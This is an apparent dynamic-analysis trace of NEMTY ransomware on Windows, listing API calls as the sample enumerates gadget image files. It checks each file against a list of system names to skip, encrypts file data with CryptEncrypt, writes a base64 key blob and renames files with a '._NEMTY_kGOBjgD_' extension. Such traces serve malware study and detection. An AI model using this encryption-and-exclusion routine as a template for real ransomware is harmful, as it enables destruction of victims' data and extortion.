ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0111.693] CloseHandle (hObject=0xffffffff) returned 0 [0111.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0111.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0111.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0111.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0111.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0111.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0111.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0111.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_orange.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_double_orange.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_double_orange.png._nemty_kgobjgd_")) returned 0 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.693] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824d0889, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824d0889, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2828c3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar_ring_docked.png", cAlternateFileName="")) returned 1 [0111.693] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2=".") returned 1 [0111.693] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="..") returned 1 [0111.693] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="...") returned 1 [0111.693] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="windows") returned -1 [0111.693] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="$RECYCLE.BIN") returned 1 [0111.693] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="rsa") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="NTDETECT.COM") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="ntldr") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="MSDOS.SYS") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="IO.SYS") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="boot.ini") returned 1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="boot.ini") returned 1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="AUTOEXEC.BAT") returned 1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="ntuser.dat") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="desktop.ini") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="CONFIG.SYS") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="RECYCLER") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="BOOTSECT.BAK") returned 1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="bootmgr") returned 1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="programdata") returned -1 [0111.694] lstrcmpiW (lpString1="calendar_ring_docked.png", lpString2="appdata") returned 1 [0111.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_ring_docked.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0111.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_ring_docked.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_ring_docked.png", lpUsedDefaultChar=0x0) returned 24 [0111.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0111.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_ring_docked.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0111.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_ring_docked.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_ring_docked.png", lpUsedDefaultChar=0x0) returned 24 [0111.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0111.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_ring_docked.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0111.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_ring_docked.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_ring_docked.png", lpUsedDefaultChar=0x0) returned 24 [0111.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_ring_docked.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0111.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_ring_docked.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_ring_docked.png", lpUsedDefaultChar=0x0) returned 24 [0111.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0111.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0111.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0111.695] Sleep (dwMilliseconds=0x5) [0111.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf63b1b10, dwHighDateTime=0x1d561e7)) [0111.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf63b1b10, dwHighDateTime=0x1d561e7)) [0111.709] GetLastError () returned 0x5 [0111.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.709] GetLastError () returned 0x5 [0111.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0111.710] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0111.710] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0111.710] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0111.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0111.710] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="rGB1z9wncIaSuE317nIqRU5baRyTouKSz5bPyzYkamcqNLnvvlx/bwuJ+c/FDxBz\r\nBBQxf7rm2FxvZUnuRV/ukLRZgQkGuR9GQLMfl9SCh/tZqpkmHHhltA7OedL0Z9i+\r\nd8B+EmgZ132IMV+tCBOfrf6nllKpGqdSELMPuDQo19Xfc9bRE6QYNe1ycQnDvGEC\r\nwNkTj/sHMcs5Kwvl//W+yCT4Mv5mudomi7KuOO1GeN8J76/4RMSAMbu+BHjD4SHX\r\ni6IhJ0EsE1Uo1JOZ2j47hXEeBSXr2ThfYQNHUPiTxY58dUDyVmtLsIAI6VMgzSN4\r\nmBcYwzHbDKkOn4TfJXBQMw==\r\n", pcchString=0x653e91c) returned 1 [0111.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0111.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0111.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0111.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0111.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0111.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0111.710] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_ring_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_ring_docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.710] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0111.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0111.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.710] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.757] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.767] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.767] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0111.822] CloseHandle (hObject=0xffffffff) returned 0 [0111.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0111.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0111.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0111.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0111.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0111.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0111.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0111.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0111.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) 